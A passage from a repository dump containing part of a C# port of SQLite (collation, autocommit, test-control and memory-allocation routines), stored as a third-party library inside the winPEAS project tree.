null );\n      rc = sqlite3ApiExit( db, rc );\n      sqlite3_mutex_leave( db.mutex );\n      return rc;\n    }\n\n    /*\n    ** Register a new collation sequence with the database handle db.\n    */\n    static int sqlite3_create_collation_v2(\n    sqlite3 db,\n    string zName,\n    int enc,\n    object pCtx,\n    dxCompare xCompare, //int(*xCompare)(void*,int,const void*,int,const void*),\n    dxDelCollSeq xDel  //void(*xDel)(void*)\n    )\n    {\n      int rc;\n      sqlite3_mutex_enter( db.mutex );\n      //Debug.Assert( 0 == db.mallocFailed );\n      rc = createCollation( db, zName, enc, pCtx, xCompare, xDel );\n      rc = sqlite3ApiExit( db, rc );\n      sqlite3_mutex_leave( db.mutex );\n      return rc;\n    }\n\n#if !SQLITE_OMIT_UTF16\n/*\n** Register a new collation sequence with the database handle db.\n*/\n//int sqlite3_create_collation16(\n//  sqlite3* db,\n//  string zName,\n//  int enc,\n//  void* pCtx,\n//  int(*xCompare)(void*,int,const void*,int,const void*)\n//){\n//  int rc = SQLITE_OK;\n//  char *zName8;\n//  sqlite3_mutex_enter(db.mutex);\n//  Debug.Assert( 0==db.mallocFailed );\n//  zName8 = sqlite3Utf16to8(db, zName, -1);\n//  if( zName8 ){\n//    rc = createCollation(db, zName8, enc, pCtx, xCompare, 0);\n//    //sqlite3DbFree(db,ref zName8);\n//  }\n//  rc = sqlite3ApiExit(db, rc);\n//  sqlite3_mutex_leave(db.mutex);\n//  return rc;\n//}\n#endif // * SQLITE_OMIT_UTF16 */\n\n    /*\n** Register a collation sequence factory callback with the database handle\n** db. Replace any previously installed collation sequence factory.\n*/\n    static int sqlite3_collation_needed(\n    sqlite3 db,\n    object pCollNeededArg,\n    dxCollNeeded xCollNeeded\n    )\n    {\n      sqlite3_mutex_enter( db.mutex );\n      db.xCollNeeded = xCollNeeded;\n      db.xCollNeeded16 = null;\n      db.pCollNeededArg = pCollNeededArg;\n      sqlite3_mutex_leave( db.mutex );\n      return SQLITE_OK;\n    }\n\n#if !SQLITE_OMIT_UTF16\n/*\n** Register a collation sequence factory callback with the database handle\n** db. Replace any previously installed collation sequence factory.\n*/\n//int sqlite3_collation_needed16(\n//  sqlite3 db,\n//  void pCollNeededArg,\n//  void(*xCollNeeded16)(void*,sqlite3*,int eTextRep,const void*)\n//){\n//  sqlite3_mutex_enter(db.mutex);\n//  db.xCollNeeded = 0;\n//  db.xCollNeeded16 = xCollNeeded16;\n//  db.pCollNeededArg = pCollNeededArg;\n//  sqlite3_mutex_leave(db.mutex);\n//  return SQLITE_OK;\n//}\n#endif // * SQLITE_OMIT_UTF16 */\n\n#if !SQLITE_OMIT_GLOBALRECOVER\n#if !SQLITE_OMIT_DEPRECATED\n    /*\n** This function is now an anachronism. It used to be used to recover from a\n** malloc() failure, but SQLite now does this automatically.\n*/\n    static int sqlite3_global_recover()\n    {\n      return SQLITE_OK;\n    }\n#endif\n#endif\n\n    /*\n** Test to see whether or not the database connection is in autocommit\n** mode.  Return TRUE if it is and FALSE if not.  Autocommit mode is on\n** by default.  Autocommit is disabled by a BEGIN statement and reenabled\n** by the next COMMIT or ROLLBACK.\n**\n******* THIS IS AN EXPERIMENTAL API AND IS SUBJECT TO CHANGE ******\n*/\n    static u8 sqlite3_get_autocommit( sqlite3 db )\n    {\n      return db.autoCommit;\n    }\n\n#if  SQLITE_DEBUG\n    /*\n** The following routine is subtituted for constant SQLITE_CORRUPT in\n** debugging builds.  This provides a way to set a breakpoint for when\n** corruption is first detected.\n*/\n    static int sqlite3Corrupt()\n    {\n      return SQLITE_CORRUPT;\n    }\n#endif\n\n#if !SQLITE_OMIT_DEPRECATED\n    /*\n** This is a convenience routine that makes sure that all thread-specific\n** data for this thread has been deallocated.\n**\n** SQLite no longer uses thread-specific data so this routine is now a\n** no-op.  It is retained for historical compatibility.\n*/\n    void sqlite3_thread_cleanup()\n    {\n    }\n#endif\n    /*\n** Return meta information about a specific column of a database table.\n** See comment in sqlite3.h (sqlite.h.in) for details.\n*/\n#if SQLITE_ENABLE_COLUMN_METADATA\n\nint sqlite3_table_column_metadata(\nsqlite3 db,            /* Connection handle */\nstring zDbName,        /* Database name or NULL */\nstring zTableName,     /* Table name */\nstring zColumnName,    /* Column name */\nref byte[] pzDataType, /* OUTPUT: Declared data type */\nref byte[] pzCollSeq,  /* OUTPUT: Collation sequence name */\nref int pNotNull,      /* OUTPUT: True if NOT NULL constraint exists */\nref int pPrimaryKey,   /* OUTPUT: True if column part of PK */\nref int pAutoinc       /* OUTPUT: True if column is auto-increment */\n){\nint rc;\nstring zErrMsg = \"\";\nTable pTab = null;\nColumn pCol = null;\nint iCol;\n\nchar const *zDataType = 0;\nchar const *zCollSeq = 0;\nint notnull = 0;\nint primarykey = 0;\nint autoinc = 0;\n\n/* Ensure the database schema has been loaded */\nsqlite3_mutex_enter(db.mutex);\n(void)sqlite3SafetyOn(db);\nsqlite3BtreeEnterAll(db);\nrc = sqlite3Init(db, zErrMsg);\nif( SQLITE_OK!=rc ){\ngoto error_out;\n}\n\n/* Locate the table in question */\npTab = sqlite3FindTable(db, zTableName, zDbName);\nif( null==pTab || pTab.pSelect ){\npTab = 0;\ngoto error_out;\n}\n\n/* Find the column for which info is requested */\nif( sqlite3IsRowid(zColumnName) ){\niCol = pTab.iPKey;\nif( iCol>=0 ){\npCol = pTab.aCol[iCol];\n}\n}else{\nfor(iCol=0; iCol<pTab.nCol; iCol++){\npCol = pTab.aCol[iCol];\nif( 0==sqlite3StrICmp(pCol.zName, zColumnName) ){\nbreak;\n}\n}\nif( iCol==pTab.nCol ){\npTab = 0;\ngoto error_out;\n}\n}\n\n/* The following block stores the meta information that will be returned\n** to the caller in local variables zDataType, zCollSeq, notnull, primarykey\n** and autoinc. At this point there are two possibilities:\n**\n**     1. The specified column name was rowid\", \"oid\" or \"_rowid_\"\n**        and there is no explicitly declared IPK column.\n**\n**     2. The table is not a view and the column name identified an\n**        explicitly declared column. Copy meta information from pCol.\n*/\nif( pCol ){\nzDataType = pCol.zType;\nzCollSeq = pCol.zColl;\nnotnull = pCol->notNull!=0;\nprimarykey  = pCol->isPrimKey!=0;\nautoinc = pTab.iPKey==iCol && (pTab.tabFlags & TF_Autoincrement)!=0;\n}else{\nzDataType = \"INTEGER\";\nprimarykey = 1;\n}\nif( !zCollSeq ){\nzCollSeq = \"BINARY\";\n}\n\nerror_out:\nsqlite3BtreeLeaveAll(db);\n(void)sqlite3SafetyOff(db);\n\n/* Whether the function call succeeded or failed, set the output parameters\n** to whatever their local counterparts contain. If an error did occur,\n** this has the effect of zeroing all output parameters.\n*/\nif( pzDataType ) pzDataType = zDataType;\nif( pzCollSeq ) pzCollSeq = zCollSeq;\nif( pNotNull ) pNotNull = notnull;\nif( pPrimaryKey ) pPrimaryKey = primarykey;\nif( pAutoinc ) pAutoinc = autoinc;\n\nif( SQLITE_OK==rc && !pTab ){\n//sqlite3DbFree(db, zErrMsg);\nzErrMsg = sqlite3MPrintf(db, \"no such table column: %s.%s\", zTableName,\nzColumnName);\nrc = SQLITE_ERROR;\n}\nsqlite3Error(db, rc, (zErrMsg?\"%s\":0), zErrMsg);\n//sqlite3DbFree(db, zErrMsg);\nrc = sqlite3ApiExit(db, rc);\nsqlite3_mutex_leave(db.mutex);\nreturn rc;\n}\n#endif\n\n    /*\n** Sleep for a little while.  Return the amount of time slept.\n*/\n    public static int sqlite3_sleep( int ms )\n    {\n      sqlite3_vfs pVfs;\n      int rc;\n      pVfs = sqlite3_vfs_find( null );\n      if ( pVfs == null ) return 0;\n\n      /* This function works in milliseconds, but the underlying OsSleep()\n      ** API uses microseconds. Hence the 1000's.\n      */\n      rc = ( sqlite3OsSleep( pVfs, 1000 * ms ) / 1000 );\n      return rc;\n    }\n\n    /*\n    ** Enable or disable the extended result codes.\n    */\n    static int sqlite3_extended_result_codes( sqlite3 db, bool onoff )\n    {\n      sqlite3_mutex_enter( db.mutex );\n      db.errMask = (int)( onoff ? 0xffffffff : 0xff );\n      sqlite3_mutex_leave( db.mutex );\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Invoke the xFileControl method on a particular database.\n    */\n    static int sqlite3_file_control( sqlite3 db, string zDbName, int op, ref int pArg )\n    {\n      int rc = SQLITE_ERROR;\n      int iDb;\n      sqlite3_mutex_enter( db.mutex );\n      if ( zDbName == null )\n      {\n        iDb = 0;\n      }\n      else\n      {\n        for ( iDb = 0 ; iDb < db.nDb ; iDb++ )\n        {\n          if ( db.aDb[iDb].zName == zDbName ) break;\n        }\n      }\n      if ( iDb < db.nDb )\n      {\n        Btree pBtree = db.aDb[iDb].pBt;\n        if ( pBtree != null )\n        {\n          Pager pPager;\n          sqlite3_file fd;\n          sqlite3BtreeEnter( pBtree );\n          pPager = sqlite3BtreePager( pBtree );\n          Debug.Assert( pPager != null );\n          fd = sqlite3PagerFile( pPager );\n          Debug.Assert( fd != null );\n          if ( fd.pMethods != null )\n          {\n            rc = sqlite3OsFileControl( fd, (u32)op, ref pArg );\n          }\n          sqlite3BtreeLeave( pBtree );\n        }\n      }\n      sqlite3_mutex_leave( db.mutex );\n      return rc;\n    }\n\n    /*\n    ** Interface to the testing logic.\n    */\n    static int sqlite3_test_control( int op, params object[] ap )\n    {\n      int rc = 0;\n#if !SQLITE_OMIT_BUILTIN_TEST\n      //  va_list ap;\n      va_start( ap, \"op\" );\n      switch ( op )\n      {\n\n        /*\n        ** Save the current state of the PRNG.\n        */\n        case SQLITE_TESTCTRL_PRNG_SAVE:\n          {\n            sqlite3PrngSaveState();\n            break;\n          }\n\n        /*\n        ** Restore the state of the PRNG to the last state saved using\n        ** PRNG_SAVE.  If PRNG_SAVE has never before been called, then\n        ** this verb acts like PRNG_RESET.\n        */\n        case SQLITE_TESTCTRL_PRNG_RESTORE:\n          {\n            sqlite3PrngRestoreState();\n            break;\n          }\n\n        /*\n        ** Reset the PRNG back to its uninitialized state.  The next call\n        ** to sqlite3_randomness() will reseed the PRNG using a single call\n        ** to the xRandomness method of the default VFS.\n        */\n        case SQLITE_TESTCTRL_PRNG_RESET:\n          {\n            sqlite3PrngResetState();\n            break;\n          }\n\n        /*\n        **  sqlite3_test_control(BITVEC_TEST, size, program)\n        **\n        ** Run a test against a Bitvec object of size.  The program argument\n        ** is an array of integers that defines the test.  Return -1 on a\n        ** memory allocation error, 0 on success, or non-zero for an error.\n        ** See the sqlite3BitvecBuiltinTest() for additional information.\n        */\n        case SQLITE_TESTCTRL_BITVEC_TEST:\n          {\n            int sz = (int)va_arg( ap, \"int\" );\n            int[] aProg = (int[])va_arg( ap, \"int[]\" );\n            rc = sqlite3BitvecBuiltinTest( (u32)sz, aProg );\n            break;\n          }\n\n        /*\n        **  sqlite3_test_control(BENIGN_MALLOC_HOOKS, xBegin, xEnd)\n        **\n        ** Register hooks to call to indicate which malloc() failures\n        ** are benign.\n        */\n        case SQLITE_TESTCTRL_BENIGN_MALLOC_HOOKS:\n          {\n            //typedef void (*void_function)(void);\n            void_function xBenignBegin;\n            void_function xBenignEnd;\n            xBenignBegin = (void_function)va_arg( ap, \"void_function\" );\n            xBenignEnd = (void_function)va_arg( ap, \"void_function\" );\n            sqlite3BenignMallocHooks( xBenignBegin, xBenignEnd );\n            break;\n          }\n        /*\n        **  sqlite3_test_control(SQLITE_TESTCTRL_PENDING_BYTE, unsigned int X)\n        **\n        ** Set the PENDING byte to the value in the argument, if X>0.\n        ** Make no changes if X==0.  Return the value of the pending byte\n        ** as it existing before this routine was called.\n        **\n        ** IMPORTANT:  Changing the PENDING byte from 0x40000000 results in\n        ** an incompatible database file format.  Changing the PENDING byte\n        ** while any database connection is open results in undefined and\n        ** dileterious behavior.\n        */\n        case SQLITE_TESTCTRL_PENDING_BYTE:\n          {\n            u32 newVal = (u32)va_arg( ap, \"u32\" );\n            rc = sqlite3PendingByte;\n            if ( newVal != 0 )\n            {\n              if ( sqlite3PendingByte != newVal )\n                sqlite3PendingByte = (int)newVal;\n#if DEBUG && !NO_TCL\n              TCLsqlite3PendingByte.iValue = sqlite3PendingByte;\n#endif\n              PENDING_BYTE = sqlite3PendingByte;\n            }\n            break;\n          }\n\n        /*\n        **  sqlite3_test_control(SQLITE_TESTCTRL_ASSERT, int X)\n        **\n        ** This action provides a run-time test to see whether or not\n        ** assert() was enabled at compile-time.  If X is true and assert()\n        ** is enabled, then the return value is true.  If X is true and\n        ** assert() is disabled, then the return value is zero.  If X is\n        ** false and assert() is enabled, then the assertion fires and the\n        ** process aborts.  If X is false and assert() is disabled, then the\n        ** return value is zero.\n        */\n        case SQLITE_TESTCTRL_ASSERT:\n          {\n            int x = 0;\n            Debug.Assert( ( x = (int)va_arg( ap, \"int\" ) ) != 0 );\n            rc = x;\n            break;\n          }\n\n\n        /*\n        **  sqlite3_test_control(SQLITE_TESTCTRL_ALWAYS, int X)\n        **\n        ** This action provides a run-time test to see how the ALWAYS and\n        ** NEVER macros were defined at compile-time.\n        **\n        ** The return value is ALWAYS(X).\n        **\n        ** The recommended test is X==2.  If the return value is 2, that means\n        ** ALWAYS() and NEVER() are both no-op pass-through macros, which is the\n        ** default setting.  If the return value is 1, then ALWAYS() is either\n        ** hard-coded to true or else it asserts if its argument is false.\n        ** The first behavior (hard-coded to true) is the case if\n        ** SQLITE_TESTCTRL_ASSERT shows that assert() is disabled and the second\n        ** behavior (assert if the argument to ALWAYS() is false) is the case if\n        ** SQLITE_TESTCTRL_ASSERT shows that assert() is enabled.\n        **\n        ** The run-time test procedure might look something like this:\n        **\n        **    if( sqlite3_test_control(SQLITE_TESTCTRL_ALWAYS, 2)==2 ){\n        **      // ALWAYS() and NEVER() are no-op pass-through macros\n        **    }else if( sqlite3_test_control(SQLITE_TESTCTRL_ASSERT, 1) ){\n        **      // ALWAYS(x) asserts that x is true. NEVER(x) asserts x is false.\n        **    }else{\n        **      // ALWAYS(x) is a constant 1.  NEVER(x) is a constant 0.\n        **    }\n        */\n        case SQLITE_TESTCTRL_ALWAYS:\n          {\n            int x = (int)va_arg( ap, \"int\" );\n            rc = ALWAYS( x );\n            break;\n          }\n\n        /*   sqlite3_test_control(SQLITE_TESTCTRL_RESERVE, sqlite3 *db, int N)\n        **\n        ** Set the nReserve size to N for the main database on the database\n        ** connection db.\n        */\n        case SQLITE_TESTCTRL_RESERVE: {\n          sqlite3 db = (sqlite3)va_arg(ap, \"sqlite3\");\n          int x = (int)va_arg(ap,\"int\");\n          sqlite3_mutex_enter(db.mutex);\n          sqlite3BtreeSetPageSize(db.aDb[0].pBt, 0, x, 0);\n          sqlite3_mutex_leave(db.mutex);\n          break;\n        }\n      }\n      va_end( ap );\n#endif //* SQLITE_OMIT_BUILTIN_TEST */\n      return rc;\n    }\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/malloc_c.cs",
    "content": "using System.Diagnostics;\nusing System.Text;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n    public partial class CSSQLite\n  {\n    /*\n    ** 2001 September 15\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    **\n    ** Memory allocation functions used throughout sqlite.\n    **\n    ** $Id: malloc.c,v 1.66 2009/07/17 11:44:07 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n    //#include <stdarg.h>\n\n#if FALSE\n    /*\n    ** This routine runs when the memory allocator sees that the\n    ** total memory allocation is about to exceed the soft heap\n    ** limit.\n    */\n    static void softHeapLimitEnforcer(\n    object NotUsed,\n    sqlite3_int64 NotUsed2,\n    int allocSize\n    )\n    {\n      UNUSED_PARAMETER2( NotUsed, NotUsed2 );\n      sqlite3_release_memory( allocSize );\n    }\n\n    /*\n    ** Set the soft heap-size limit for the library. Passing a zero or\n    ** negative value indicates no limit.\n    */\n    static void sqlite3_soft_heap_limit( int n )\n    {\n      long iLimit;\n      int overage;\n      if ( n < 0 )\n      {\n        iLimit = 0;\n      }\n      else\n      {\n        iLimit = n;\n      }\n      sqlite3_initialize();\n      if ( iLimit > 0 )\n      {\n        sqlite3MemoryAlarm( (dxalarmCallback)softHeapLimitEnforcer, 0, iLimit );\n      }\n      else\n      {\n        sqlite3MemoryAlarm( null, null, 0 );\n      }\n      overage = (int)( sqlite3_memory_used() - n );\n      if ( overage > 0 )\n      {\n        sqlite3_release_memory( overage );\n      }\n    }\n\n    /*\n    ** Attempt to release up to n bytes of non-essential memory currently\n    ** held by SQLite. An example of non-essential memory is memory used to\n    ** cache database pages that are not currently in use.\n    */\n    static int sqlite3_release_memory( int n )\n    {\n#if  SQLITE_ENABLE_MEMORY_MANAGEMENT\nint nRet = 0;\n#if FALSE\nnRet += sqlite3VdbeReleaseMemory(n);\n#endif\nnRet += sqlite3PcacheReleaseMemory(n-nRet);\nreturn nRet;\n#else\n      UNUSED_PARAMETER( n );\n      return SQLITE_OK;\n#endif\n    }\n\n    /*\n    ** State information local to the memory allocation subsystem.\n    */\n    public class Mem0Global\n    {\n      /* Number of free pages for scratch and page-cache memory */\n      public int nScratchFree;\n      public int nPageFree;\n\n      public sqlite3_mutex mutex;         /* Mutex to serialize access */\n\n      /*\n      ** The alarm callback and its arguments.  The mem0.mutex lock will\n      ** be held while the callback is running.  Recursive calls into\n      ** the memory subsystem are allowed, but no new callbacks will be\n      ** issued.\n      */\n      public sqlite3_int64 alarmThreshold;\n      public dxalarmCallback alarmCallback; // (*alarmCallback)(void*, sqlite3_int64,int);\n      public object alarmArg;\n\n      /*\n      ** Pointers to the end of  sqlite3GlobalConfig.pScratch and\n      **  sqlite3GlobalConfig.pPage to a block of memory that records\n      ** which pages are available.\n      */\n      public int[] aScratchFree;\n      public int[] aPageFree;\n\n      public Mem0Global() { }\n\n      public Mem0Global( int nScratchFree, int nPageFree, sqlite3_mutex mutex, sqlite3_int64 alarmThreshold, dxalarmCallback alarmCallback, object alarmArg, int alarmBusy, int[] aScratchFree, int[] aPageFree )\n      {\n        this.nScratchFree = nScratchFree;\n        this.nPageFree = nPageFree;\n        this.mutex = mutex;\n        this.alarmThreshold = alarmThreshold;\n        this.alarmCallback = alarmCallback;\n        this.alarmArg = alarmArg;\n        this.alarmBusy = alarmBusy;\n        this.aScratchFree = aScratchFree;\n        this.aPageFree = aPageFree;\n      }\n    }\n    static Mem0Global mem0 = new Mem0Global( 0, null, 0, null, null, 0, null, null );\n\n    //#define mem0 GLOBAL(struct Mem0Global, mem0)\n\n\n    /*\n    ** Initialize the memory allocation subsystem.\n    */\n    static int sqlite3MallocInit()\n    {\n      if ( sqlite3GlobalConfig.m.xMalloc == null )\n      {\n        sqlite3MemSetDefault();\n      }\n      mem0 = new Mem0Global(); //memset(&mem0, 0, sizeof(mem0));\n      if ( sqlite3GlobalConfig.bCoreMutex )\n      {\n        mem0.mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MEM );\n      }\n      if ( sqlite3GlobalConfig.pScratch != null && sqlite3GlobalConfig.szScratch >= 100\n      && sqlite3GlobalConfig.nScratch >= 0 )\n      {\n        Debugger.Break(); // TODO --\n\n        //  int i;\n        //  sqlite3GlobalConfig.szScratch = ROUNDDOWN8(sqlite3GlobalConfig.szScratch-4);\n        //  mem0.aScratchFree = (u32*)&((char*) sqlite3GlobalConfig.pScratch)\n        //                [ sqlite3GlobalConfig.szScratch* sqlite3GlobalConfig.nScratch];\n        //  for(i=0; i< sqlite3GlobalConfig.nScratch; i++){ mem0.aScratchFree[i] = i; }\n        //  mem0.nScratchFree =  sqlite3GlobalConfig.nScratch;\n      }\n      else\n      {\n        sqlite3GlobalConfig.pScratch = null;\n        sqlite3GlobalConfig.szScratch = 0;\n      }\n      if ( sqlite3GlobalConfig.pPage != null && sqlite3GlobalConfig.szPage >= 512\n      && sqlite3GlobalConfig.nPage >= 1 )\n      {\n        int i;\n        int overhead;\n        int sz = ROUNDDOWN8( sqlite3GlobalConfig.szPage );\n        int n = sqlite3GlobalConfig.nPage;\n        overhead = ( 4 * n + sz - 1 ) / sz;\n        sqlite3GlobalConfig.nPage -= overhead;\n        mem0.aPageFree = new int[sqlite3GlobalConfig.szPage * sqlite3GlobalConfig.nPage];\n        //  mem0.aPageFree = (u32*)&((char*) sqlite3GlobalConfig.pPage)\n        //                [ sqlite3GlobalConfig.szPage* sqlite3GlobalConfig.nPage];\n        for ( i = 0 ; i < sqlite3GlobalConfig.nPage ; i++ ) { mem0.aPageFree[i] = i; }\n        mem0.nPageFree = sqlite3GlobalConfig.nPage;\n      }\n      else\n      {\n        sqlite3GlobalConfig.pPage = null;\n        sqlite3GlobalConfig.szPage = 0;\n      }\n      return sqlite3GlobalConfig.m.xInit( sqlite3GlobalConfig.m.pAppData );\n    }\n\n    /*\n    ** Deinitialize the memory allocation subsystem.\n    */\n    static void sqlite3MallocEnd()\n    {\n      if ( sqlite3GlobalConfig.m.xShutdown != null )\n      {\n        sqlite3GlobalConfig.m.xShutdown( sqlite3GlobalConfig.m.pAppData );\n        mem0 = new Mem0Global();//memset(&mem0, 0, sizeof(mem0));\n      }\n    }\n    /*\n    ** Return the amount of memory currently checked out.\n    */\n    static sqlite3_int64 sqlite3_memory_used()\n    {\n      int n = 0, mx = 0;\n      sqlite3_int64 res;\n      sqlite3_status( SQLITE_STATUS_MEMORY_USED, ref n, ref mx, 0 );\n      res = (sqlite3_int64)n;  /* Work around bug in Borland C. Ticket #3216 */\n      return res;\n    }\n\n    /*\n    ** Return the maximum amount of memory that has ever been\n    ** checked out since either the beginning of this process\n    ** or since the most recent reset.\n    */\n    static sqlite3_int64 sqlite3_memory_highwater( int resetFlag )\n    {\n      int n = 0, mx = 0;\n      sqlite3_int64 res;\n      sqlite3_status( SQLITE_STATUS_MEMORY_USED, ref n, ref mx, 0 );\n      res = (sqlite3_int64)mx;  /* Work around bug in Borland C. Ticket #3216 */\n      return res;\n    }\n\n    /*\n    ** Change the alarm callback\n    */\n    static int sqlite3MemoryAlarm(\n    dxalarmCallback xCallback, //void(*xCallback)(void pArg, sqlite3_int64 used,int N),\n    object pArg,\n    sqlite3_int64 iThreshold\n    )\n    {\n      sqlite3_mutex_enter( mem0.mutex );\n      mem0.alarmCallback = xCallback;\n      mem0.alarmArg = pArg;\n      mem0.alarmThreshold = iThreshold;\n      sqlite3_mutex_leave( mem0.mutex );\n      return SQLITE_OK;\n    }\n\n#if !SQLITE_OMIT_DEPRECATED\n    /*\n** Deprecated external interface.  Internal/core SQLite code\n** should call sqlite3MemoryAlarm.\n*/\n    static int sqlite3_memory_alarm(\n    dxalarmCallback xCallback, //void(*xCallback)(void *pArg, sqlite3_int64 used,int N),\n    object pArg,\n    sqlite3_int64 iThreshold\n    )\n    {\n      return sqlite3MemoryAlarm( xCallback, pArg, iThreshold );\n    }\n#endif\n\n\n    /*\n** Trigger the alarm\n*/\n    static void sqlite3MallocAlarm( int nByte )\n    {\n      Debugger.Break(); // TODO --\n      //dxCallback xCallback; //void (*xCallback)(void*,sqlite3_int64,int);\n      //sqlite3_int64 nowUsed;\n      //object pArg;\n      //if( mem0.alarmCallback==0 ) return;\n      //xCallback = mem0.alarmCallback;\n      //nowUsed = sqlite3StatusValue(SQLITE_STATUS_MEMORY_USED);\n      //pArg = mem0.alarmArg;\n      //mem0.alarmCallback = null;\n      //sqlite3_mutex_leave(mem0.mutex);\n      //xCallback(pArg, nowUsed, nByte);\n      //sqlite3_mutex_enter(mem0.mutex);\n      //mem0.alarmCallback = xCallback;\n      //mem0.alarmArg = pArg;\n      }\n\n    /*\n    ** Do a memory allocation with statistics and alarms.  Assume the\n    ** lock is already held.\n    */\n    static int mallocWithAlarm( int n, ref byte[] pp )\n    {\n      int nFull;\n      byte[] p;\n      Debug.Assert( sqlite3_mutex_held( mem0.mutex ) );\n      nFull = sqlite3GlobalConfig.m.xRoundup( n );\n      sqlite3StatusSet( SQLITE_STATUS_MALLOC_SIZE, n );\n      if ( mem0.alarmCallback != null )\n      {\n        int nUsed = sqlite3StatusValue( SQLITE_STATUS_MEMORY_USED );\n        if ( nUsed + nFull >= mem0.alarmThreshold )\n        {\n          sqlite3MallocAlarm( nFull );\n        }\n      }\n      p = sqlite3GlobalConfig.m.xMalloc( nFull );\n      if ( p == null && mem0.alarmCallback != null )\n      {\n        sqlite3MallocAlarm( nFull );\n        p = sqlite3GlobalConfig.m.xMalloc( nFull );\n      }\n      if ( p != null )\n      {\n        nFull = sqlite3MallocSize( p );\n        sqlite3StatusAdd( SQLITE_STATUS_MEMORY_USED, nFull );\n      }\n      pp = p;\n      return nFull;\n    }\n\n    /*\n    ** Allocate memory.  This routine is like sqlite3_malloc() except that it\n    ** assumes the memory subsystem has already been initialized.\n    */\n    static byte[] sqlite3Malloc( int n )\n    {\n      byte[] p = null;\n      if ( n <= 0 || n >= 0x7fffff00 )\n      {\n        /* A memory allocation of a number of bytes which is near the maximum\n        ** signed integer value might cause an integer overflow inside of the\n        ** xMalloc().  Hence we limit the maximum size to 0x7fffff00, giving\n        ** 255 bytes of overhead.  SQLite itself will never use anything near\n        ** this amount.  The only way to reach the limit is with sqlite3_malloc() */\n        p = null;\n      }\n      else if ( sqlite3GlobalConfig.bMemstat )\n      {\n        sqlite3_mutex_enter( mem0.mutex );\n        mallocWithAlarm( n, ref p );\n        sqlite3_mutex_leave( mem0.mutex );\n      }\n      else\n      {\n        p = sqlite3GlobalConfig.m.xMalloc( n );\n      }\n      return p;\n    }\n\n    /*\n    ** This version of the memory allocation is for use by the application.\n    ** First make sure the memory subsystem is initialized, then do the\n    ** allocation.\n    */\n    static byte[] sqlite3_malloc( int n )\n    {\n#if !SQLITE_OMIT_AUTOINIT\n      if ( sqlite3_initialize() != 0 ) return null;\n#endif\n      return sqlite3Malloc( n );\n    }\n\n    /*\n    ** Each thread may only have a single outstanding allocation from\n    ** xScratchMalloc().  We verify this constraint in the single-threaded\n    ** case by setting scratchAllocOut to 1 when an allocation\n    ** is outstanding clearing it when the allocation is freed.\n    */\n#if !SQLITE_THREADSAFE && !NDEBUG\n    static int scratchAllocOut = 0;\n#endif\n\n\n    /*\n** Allocate memory that is to be used and released right away.\n** This routine is similar to alloca() in that it is not intended\n** for situations where the memory might be held long-term.  This\n** routine is intended to get memory to old large transient data\n** structures that would not normally fit on the stack of an\n** embedded processor.\n*/\n    byte[] sqlite3ScratchMalloc( int n )\n    {\n      byte[] p = null;\n      Debug.Assert( n > 0 );\n\n#if !SQLITE_THREADSAFE && !NDEBUG\n      /* Verify that no more than one scratch allocation per thread\n** is outstanding at one time.  (This is only checked in the\n** single-threaded case since checking in the multi-threaded case\n** would be much more complicated.) */\n      Debug.Assert( scratchAllocOut == 0 );\n#endif\n\n      if ( sqlite3GlobalConfig.szScratch < n )\n      {\n        goto scratch_overflow;\n      }\n      else\n      {\n        sqlite3_mutex_enter( mem0.mutex );\n        if ( mem0.nScratchFree == 0 )\n        {\n          sqlite3_mutex_leave( mem0.mutex );\n          goto scratch_overflow;\n        }\n        else\n        {\n          Debugger.Break(); // TODO --\n          //int i;\n          //i = mem0.aScratchFree[--mem0.nScratchFree];\n          //i *=  sqlite3GlobalConfig.szScratch;\n          //sqlite3StatusAdd(SQLITE_STATUS_SCRATCH_USED, 1);\n          //sqlite3StatusSet(SQLITE_STATUS_SCRATCH_SIZE, n);\n          //sqlite3_mutex_leave(mem0.mutex);\n          //p = (void*)&((char*) sqlite3GlobalConfig.pScratch)[i];\n          //assert(  (((u8*)p - (u8*)0) & 7)==0 );\n        }\n      }\n#if !SQLITE_THREADSAFE && !NDEBUG\n      scratchAllocOut = p != null ? 1 : 0;\n#endif\n\n      return p;\n\nscratch_overflow:\n      if ( sqlite3GlobalConfig.bMemstat )\n      {\n        sqlite3_mutex_enter( mem0.mutex );\n        sqlite3StatusSet( SQLITE_STATUS_SCRATCH_SIZE, n );\n        n = mallocWithAlarm( n, ref p );\n        if ( p != null ) sqlite3StatusAdd( SQLITE_STATUS_SCRATCH_OVERFLOW, n );\n        sqlite3_mutex_leave( mem0.mutex );\n      }\n      else\n      {\n        p = sqlite3GlobalConfig.m.xMalloc( n );\n      }\n#if !SQLITE_THREADSAFE && !NDEBUG\n      scratchAllocOut = ( p != null ) ? 1 : 0;\n#endif\n      return p;\n    }\n    static void //sqlite3ScratchFree( ref byte[][] p ) { p = null; }\n    static void //sqlite3ScratchFree( ref byte[] p )\n    {\n      if ( p != null )\n      {\n\n#if !SQLITE_THREADSAFE && !NDEBUG\n        /* Verify that no more than one scratch allocation per thread\n** is outstanding at one time.  (This is only checked in the\n** single-threaded case since checking in the multi-threaded case\n** would be much more complicated.) */\n        Debug.Assert( scratchAllocOut == 1 );\n        scratchAllocOut = 0;\n#endif\n        Debugger.Break(); // TODO --\n        //if(  sqlite3GlobalConfig.pScratch==null\n        //       || p< sqlite3GlobalConfig.pScratch\n        //       || p>=(void*)mem0.aScratchFree ){\n        //  if(  sqlite3GlobalConfig.bMemstat ){\n        //    int iSize = sqlite3MallocSize(p);\n        //    sqlite3_mutex_enter(mem0.mutex);\n        //    sqlite3StatusAdd(SQLITE_STATUS_SCRATCH_OVERFLOW, -iSize);\n        //    sqlite3StatusAdd(SQLITE_STATUS_MEMORY_USED, -iSize);\n        //     sqlite3GlobalConfig.m.xFree(p);\n        //    sqlite3_mutex_leave(mem0.mutex);\n        //  }else{\n        //     sqlite3GlobalConfig.m.xFree(p);\n        //  }\n        //}else{\n        //  int i;\n        //  i = (int)((u8*)p - 